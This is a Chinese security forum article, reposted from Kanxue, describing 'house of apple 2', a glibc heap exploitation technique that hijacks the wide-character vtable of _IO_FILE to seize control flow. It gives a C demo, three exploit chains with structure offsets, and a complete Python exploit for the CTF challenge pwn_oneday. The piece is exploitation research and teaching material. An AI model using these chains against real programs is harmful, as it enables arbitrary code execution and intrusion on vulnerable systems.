House of apple 一种新的glibc中IO攻击方法
2022-8-2 18:1:18 Author: 看雪学苑(查看原文) 阅读量:14 收藏


本文为看雪论坛优秀文章

看雪论坛作者ID:roderick01


前言

之前提出了一种新的IO利用方法 house of apple(https://bbs.pediy.com/thread-273418.htm)。本篇是house of apple1的续集,继续给出基于IO_FILE->_wide_data的利用技巧。
 
在 house of apple1 的总结 里面提到: house of apple1 的利用链可以在任意地址写堆地址,相当于一次largebin attack的效果。因此,house of apple1 需要和其他方法结合而进行后续的FSOP利用。
 
那么在只劫持_wide_data的条件下能不能控制程序的执行流呢?答案是肯定的。
 
本篇的house of apple2会提出几条新的IO利用链,在劫持_IO_FILE->_wide_data的基础上,直接控制程序执行流。
 
关于前置知识这里就不赘述了,详情可看 house of apple1

利用条件

使用house of apple2的条件为:
已知heap地址和glibc地址。
能控制程序执行IO操作,包括但不限于:从main函数返回、调用exit函数、通过__malloc_assert触发。
能控制_IO_FILE的vtable和_wide_data,一般使用largebin attack去控制。


利用原理

stdin/stdout/stderr这三个_IO_FILE结构体使用的是_IO_file_jumps这个vtable,而当需要调用到vtable里面的函数指针时,会使用宏去调用。以_IO_file_overflow调用为例,glibc中调用的代码片段分析如下:
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH) #define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1) # define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))
其中,IO_validate_vtable函数负责检查vtable的合法性,会判断vtable的地址是不是在一个合法的区间。如果vtable的地址不合法,程序将会异常终止。
 
观察struct _IO_wide_data结构体,发现其对应有一个_wide_vtable成员。
struct _IO_wide_data{  wchar_t *_IO_read_ptr;    /* Current read pointer */  wchar_t *_IO_read_end;    /* End of get area. */  wchar_t *_IO_read_base;    /* Start of putback+get area. */  wchar_t *_IO_write_base;    /* Start of put area. */  wchar_t *_IO_write_ptr;    /* Current put pointer. */  wchar_t *_IO_write_end;    /* End of put area. */  wchar_t *_IO_buf_base;    /* Start of reserve area. */  wchar_t *_IO_buf_end;        /* End of reserve area. */  /* The following fields are used to support backing up and undo. */  wchar_t *_IO_save_base;    /* Pointer to start of non-current get area. */  wchar_t *_IO_backup_base;    /* Pointer to first valid character of                   backup area */  wchar_t *_IO_save_end;    /* Pointer to end of non-current get area. */   __mbstate_t _IO_state;  __mbstate_t _IO_last_state;  struct _IO_codecvt _codecvt;  wchar_t _shortbuf[1];  const struct _IO_jump_t *_wide_vtable;};
在调用_wide_vtable虚表里面的函数时,同样是使用宏去调用,仍然以vtable->_overflow调用为例,所用到的宏依次为:
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH) #define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1) #define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS) #define _IO_WIDE_JUMPS(THIS) \  _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable
可以看到,在调用_wide_vtable里面的成员函数指针时,没有关于vtable的合法性检查。
 
因此,我们可以劫持IO_FILE的vtable为_IO_wfile_jumps,控制_wide_data为可控的堆地址空间,进而控制_wide_data->_wide_vtable为可控的堆地址空间。控制程序执行IO流函数调用,最终调用到_IO_Wxxxxx函数即可控制程序的执行流。
 
以下面提到的_IO_wdefault_xsgetn函数利用为例,编写demo示例如下:
#include<stdio.h>#include<stdlib.h>#include<stdint.h>#include<unistd.h>#include <string.h> void backdoor(){    printf("\033[31m[!] Backdoor is called!\n");    _exit(0);} void main(){    setbuf(stdout, 0);    setbuf(stdin, 0);    setbuf(stderr, 0);     char *p1 = calloc(0x200, 1);    char *p2 = calloc(0x200, 1);    puts("[*] allocate two 0x200 chunks");     size_t puts_addr = (size_t)&puts;    printf("[*] puts address: %p\n", (void *)puts_addr);    size_t libc_base_addr = puts_addr - 0x84420;    printf("[*] libc base address: %p\n", (void *)libc_base_addr);     size_t _IO_2_1_stderr_addr = libc_base_addr + 0x1ed5c0;    printf("[*] _IO_2_1_stderr_ address: %p\n", (void *)_IO_2_1_stderr_addr);     size_t _IO_wstrn_jumps_addr = libc_base_addr + 0x1e8c60;    printf("[*] _IO_wstrn_jumps address: %p\n", (void *)_IO_wstrn_jumps_addr);     char *stderr2 = (char *)_IO_2_1_stderr_addr;    puts("[+] step 1: change stderr->_flags to 0x800");    *(size_t *)stderr2 = 0x800;     puts("[+] step 2: change stderr->_mode to 1");    *(size_t *)(stderr2 + 0xc0) = 1;     puts("[+] step 3: change stderr->vtable to _IO_wstrn_jumps-0x20");    *(size_t *)(stderr2 + 0xd8) = _IO_wstrn_jumps_addr-0x20;     puts("[+] step 4: replace stderr->_wide_data with the allocated chunk p1");    *(size_t *)(stderr2 + 0xa0) = (size_t)p1;     puts("[+] step 5: set stderr->_wide_data->_wide_vtable with the allocated chunk p2");    *(size_t *)(p1 + 0xe0) = (size_t)p2;     puts("[+] step 6: set stderr->_wide_data->_wide_vtable->_IO_write_ptr >  stderr->_wide_data->_wide_vtable->_IO_write_base");    *(size_t *)(p1 + 0x20) = (size_t)1;     puts("[+] step 7: put backdoor at fake _wide_vtable->_overflow");    *(size_t *)(p2 + 0x18) = (size_t)(&backdoor);     puts("[+] step 8: call fflush(stderr) to trigger backdoor func");    fflush(stderr); }
编译后输出:
[*] allocate two 0x200 chunks[*] puts address: 0x7f8f73d2e420[*] libc base address: 0x7f8f73caa000[*] _IO_2_1_stderr_ address: 0x7f8f73e975c0[*] _IO_wstrn_jumps address: 0x7f8f73e92c60[+] step 1: change stderr->_flags to 0x800[+] step 2: change stderr->_mode to 1[+] step 3: change stderr->vtable to _IO_wstrn_jumps-0x20[+] step 4: replace stderr->_wide_data with the allocated chunk p1[+] step 5: set stderr->_wide_data->_wide_vtable with the allocated chunk p2[+] step 6: set stderr->_wide_data->_wide_vtable->_IO_write_ptr >  stderr->_wide_data->_wide_vtable->_IO_write_base[+] step 7: put backdoor at fake _wide_vtable->_overflow[+] step 8: call fflush(stderr) to trigger backdoor func[!] Backdoor is called!
可以看到,成功调用了后门函数。


利用思路

目前在glibc源码中搜索到的_IO_WXXXXX系列函数的调用只有_IO_WSETBUF、_IO_WUNDERFLOW、_IO_WDOALLOCATE和_IO_WOVERFLOW。

其中_IO_WSETBUF和_IO_WUNDERFLOW目前无法利用或利用困难,其余的均可构造合适的_IO_FILE进行利用。这里给出我总结的几条比较好利用的链。以下使用fp指代_IO_FILE结构体变量。

利用_IO_wfile_overflow函数控制程序执行流

对fp的设置如下:
_flags设置为~(2 | 0x8 | 0x800),如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为sh;,注意前面有两个空格。
vtable设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap地址(加减偏移),使其能成功调用_IO_wfile_overflow即可。
_wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A。
_wide_data->_IO_write_base设置为0,即满足*(A + 0x18) = 0。
_wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0。
_wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B。
_wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C。
函数的调用链如下:
_IO_wfile_overflow    _IO_wdoallocbuf        _IO_WDOALLOCATE            *(fp->_wide_data->_wide_vtable + 0x68)(fp)
详细分析如下:
首先看_IO_wfile_overflow函数
wint_t_IO_wfile_overflow (FILE *f, wint_t wch){  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */    {      f->_flags |= _IO_ERR_SEEN;      __set_errno (EBADF);      return WEOF;    }  /* If currently reading or no buffer allocated. */  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)    {      /* Allocate a buffer if needed. */      if (f->_wide_data->_IO_write_base == 0)    {      _IO_wdoallocbuf (f);// 需要走到这里      // ......    }    }}
需要满足f->_flags & _IO_NO_WRITES == 0并且f->_flags & _IO_CURRENTLY_PUTTING == 0和f->_wide_data->_IO_write_base == 0。
 
然后看_IO_wdoallocbuf函数:
void_IO_wdoallocbuf (FILE *fp){  if (fp->_wide_data->_IO_buf_base)    return;  if (!(fp->_flags & _IO_UNBUFFERED))    if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)// _IO_WXXXX调用      return;  _IO_wsetb (fp, fp->_wide_data->_shortbuf,             fp->_wide_data->_shortbuf + 1, 0);}libc_hidden_def (_IO_wdoallocbuf)
需要满足fp->_wide_data->_IO_buf_base != 0和fp->_flags & _IO_UNBUFFERED == 0。

利用_IO_wfile_underflow_mmap函数控制程序执行流

对fp的设置如下:
_flags设置为~4,如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为sh;,注意前面有个空格。
vtable设置为_IO_wfile_jumps_mmap地址(加减偏移),使其能成功调用_IO_wfile_underflow_mmap即可。
_IO_read_ptr < _IO_read_end,即满足*(fp + 8) < *(fp + 0x10)。
_wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A。
_wide_data->_IO_read_ptr >= _wide_data->_IO_read_end,即满足*A >= *(A + 8)。
_wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0。
_wide_data->_IO_save_base设置为0或者合法的可被free的地址,即满足*(A + 0x40) = 0。
_wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B。
_wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C。
函数的调用链如下:
_IO_wfile_underflow_mmap    _IO_wdoallocbuf        _IO_WDOALLOCATE            *(fp->_wide_data->_wide_vtable + 0x68)(fp)
详细分析如下:
看_IO_wfile_underflow_mmap函数:
static wint_t_IO_wfile_underflow_mmap (FILE *fp){  struct _IO_codecvt *cd;  const char *read_stop;   if (__glibc_unlikely (fp->_flags & _IO_NO_READS))    {      fp->_flags |= _IO_ERR_SEEN;      __set_errno (EBADF);      return WEOF;    }  if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)    return *fp->_wide_data->_IO_read_ptr;   cd = fp->_codecvt;   /* Maybe there is something left in the external buffer.  */  if (fp->_IO_read_ptr >= fp->_IO_read_end      /* No.  But maybe the read buffer is not fully set up.  */      && _IO_file_underflow_mmap (fp) == EOF)    /* Nothing available.  _IO_file_underflow_mmap has set the EOF or error       flags as appropriate.  */    return WEOF;   /* There is more in the external.  Convert it.  */  read_stop = (const char *) fp->_IO_read_ptr;   if (fp->_wide_data->_IO_buf_base == NULL)    {      /* Maybe we already have a push back pointer.  */      if (fp->_wide_data->_IO_save_base != NULL)    {      free (fp->_wide_data->_IO_save_base);      fp->_flags &= ~_IO_IN_BACKUP;    }      _IO_wdoallocbuf (fp);// 需要走到这里    }    //......}
需要设置fp->_flags & _IO_NO_READS == 0,设置fp->_wide_data->_IO_read_ptr >= fp->_wide_data->_IO_read_end,设置fp->_IO_read_ptr < fp->_IO_read_end不进入调用,设置fp->_wide_data->_IO_buf_base == NULL和fp->_wide_data->_IO_save_base == NULL。

利用_IO_wdefault_xsgetn函数控制程序执行流

这条链执行的条件是调用到_IO_wdefault_xsgetn时rdx寄存器,也就是第三个参数不为0。如果不满足这个条件,可选用其他链。
 
对fp的设置如下:
_flags设置为0x800。
vtable设置为_IO_wstrn_jumps/_IO_wmem_jumps/_IO_wstr_jumps地址(加减偏移),使其能成功调用_IO_wdefault_xsgetn即可。
_mode设置为大于0,即满足*(fp + 0xc0) > 0。
_wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A。
_wide_data->_IO_read_end == _wide_data->_IO_read_ptr设置为0,即满足*(A + 8) = *A。
_wide_data->_IO_write_ptr > _wide_data->_IO_write_base,即满足*(A + 0x20) > *(A + 0x18)。
_wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B。
_wide_data->_wide_vtable->overflow设置为地址C用于劫持RIP,即满足*(B + 0x18) = C。
函数的调用链如下:
_IO_wdefault_xsgetn    __wunderflow        _IO_switch_to_wget_mode            _IO_WOVERFLOW                *(fp->_wide_data->_wide_vtable + 0x18)(fp)
详细分析如下:
首先看_IO_wdefault_xsgetn函数:
size_t_IO_wdefault_xsgetn (FILE *fp, void *data, size_t n){  size_t more = n;  wchar_t *s = (wchar_t*) data;  for (;;)    {      /* Data available. */      ssize_t count = (fp->_wide_data->_IO_read_end                       - fp->_wide_data->_IO_read_ptr);      if (count > 0)    {      if ((size_t) count > more)        count = more;      if (count > 20)        {          s = __wmempcpy (s, fp->_wide_data->_IO_read_ptr, count);          fp->_wide_data->_IO_read_ptr += count;        }      else if (count <= 0)        count = 0;      else        {          wchar_t *p = fp->_wide_data->_IO_read_ptr;          int i = (int) count;          while (--i >= 0)        *s++ = *p++;          fp->_wide_data->_IO_read_ptr = p;            }            more -= count;        }      if (more == 0 || __wunderflow (fp) == WEOF)    break;    }  return n - more;}libc_hidden_def (_IO_wdefault_xsgetn)
由于more是第三个参数,所以不能为0。
直接设置fp->_wide_data->_IO_read_ptr == fp->_wide_data->_IO_read_end,使得count为0,不进入if分支。
随后当more != 0时会进入__wunderflow。
 
接着看__wunderflow:
wint_t__wunderflow (FILE *fp){  if (fp->_mode < 0 || (fp->_mode == 0 && _IO_fwide (fp, 1) != 1))    return WEOF;   if (fp->_mode == 0)    _IO_fwide (fp, 1);  if (_IO_in_put_mode (fp))    if (_IO_switch_to_wget_mode (fp) == EOF)      return WEOF;    // ......}
要想调用到_IO_switch_to_wget_mode,需要设置fp->mode > 0,并且fp->_flags & _IO_CURRENTLY_PUTTING != 0。
 
然后在_IO_switch_to_wget_mode函数中:
int_IO_switch_to_wget_mode (FILE *fp){  if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)    if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF) // 需要走到这里      return EOF;    // .....}
当满足fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base时就会调用_IO_WOVERFLOW(fp)。


例题分析

仍然以 house of apple 中的pwn_oneday为例。
 
程序的详细分析就不在此赘述。为了方便展示利用效果,后面的rop部分就不做了,我们利用本篇文章提出的方法输出hack!字符串。
 
在largebin attack攻击_IO_list_all之后,伪造_IO_FILE结构:
target_addr = libc.sym._IO_list_all_IO_wfile_jumps = libc.sym._IO_wfile_jumps _lock = libc_base + 0x1f5720fake_IO_FILE = heap_base + 0x1810 f1 = IO_FILE_plus_struct()f1.flags = u64_ex("  hack!")f1._IO_read_ptr = 0xa81f1._lock = _lockf1._wide_data = fake_IO_FILE + 0xe0f1.vtable = _IO_wfile_jumps
所以最后的exp为:
#!/usr/bin/python3# -*- encoding: utf-8 -*-# author: roderick from pwncli import * cli_script() io: tube = gift['io']elf: ELF = gift['elf']libc: ELF = gift['libc'] small = 1medium = 2large = 3key = 10 def add(c):    sla("enter your command: \n", "1")    sla("choise: ", str(c)) def dele(i):    sla("enter your command: \n", "2")    sla("Index: \n", str(i)) def read_once(i, data):    sla("enter your command: \n", "3")    sla("Index: ", str(i))    sa("Message: \n", flat(data, length=0x110 * key)) def write_once(i):    sla("enter your command: \n", "4")    sla("Index: ", str(i))    ru("Message: \n")    m = rn(0x10)    d1 = u64_ex(m[:8])    d2 = u64_ex(m[8:])    log_address_ex("d1")    log_address_ex("d2")    return d1, d2 def bye():    sla("enter your command: \n", "9")  sla("enter your key >>\n", str(key)) add(medium)add(medium)add(small) dele(2)dele(1)dele(0) add(small)add(small)add(small)add(small) dele(3)dele(5)m1, m2 = write_once(3)libc_base = set_current_libc_base_and_log(m1, 0x1f2cc0)heap_base = m2 - 0x17f0 dele(4)dele(6) add(large)add(small)add(small) dele(8)add(large) target_addr = libc.sym._IO_list_all_IO_wfile_jumps = libc.sym._IO_wfile_jumps _lock = libc_base + 0x1f5720fake_IO_FILE = heap_base + 0x1810 f1 = IO_FILE_plus_struct()f1.flags = u64_ex("  hack!")f1._IO_read_ptr = 0xa81f1._lock = _lockf1._wide_data = fake_IO_FILE + 0xe0f1.vtable = _IO_wfile_jumps data = flat({    0x8: target_addr - 0x20,    0x10: {        0: {            0: bytes(f1),            0xe0: {# _wide_data->_wide_vtable                0x18: 0, # f->_wide_data->_IO_write_base                0x30: 0, # f->_wide_data->_IO_buf_base                0xe0: fake_IO_FILE+0x200            },            0x200: {                0x68: libc.sym.puts            }        },        0xa80: [0, 0xab1]    }}) read_once(5, data) dele(2)add(large) bye() ia()
调试如下:

通过exit执行到_IO_wdoallocbuf:
成功输出hack!:


总结

house of apple主要关注对_IO_FILE->_wide_data成员的攻击,并可以在劫持该成员之后改写地址内容或者控制程序执行流。
 
可以看到,对_wide_data->_wide_vtable虚表的成员函数指针调用时并不存在vtable的检查,因此,可以利用该漏洞进行FSOP。

看雪ID:roderick01

https://bbs.pediy.com/user-home-956675.htm

*本文由看雪论坛 roderick01 原创,转载请注明来自看雪社区

# 往期推荐

1.so文件分析的一些心得

2.bang加固简单分析

3.从PWN题NULL_FXCK中学到的glibc知识

4.指令级工具Dobby源码阅读

5.AFL速通——流程及afl-fuzz.c源码简析

6.sql注入学习笔记

球分享

球点赞

球在看

点击“阅读原文”,了解更多!


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458459847&idx=1&sn=f4afaf30634e626ce539023d1de675fe&chksm=b18e2e4d86f9a75bf414e6332f9cfb5601fffe6f3388d5810971b0e92738fe640552ea889841#rd
如有侵权请联系:admin#unsafe.sh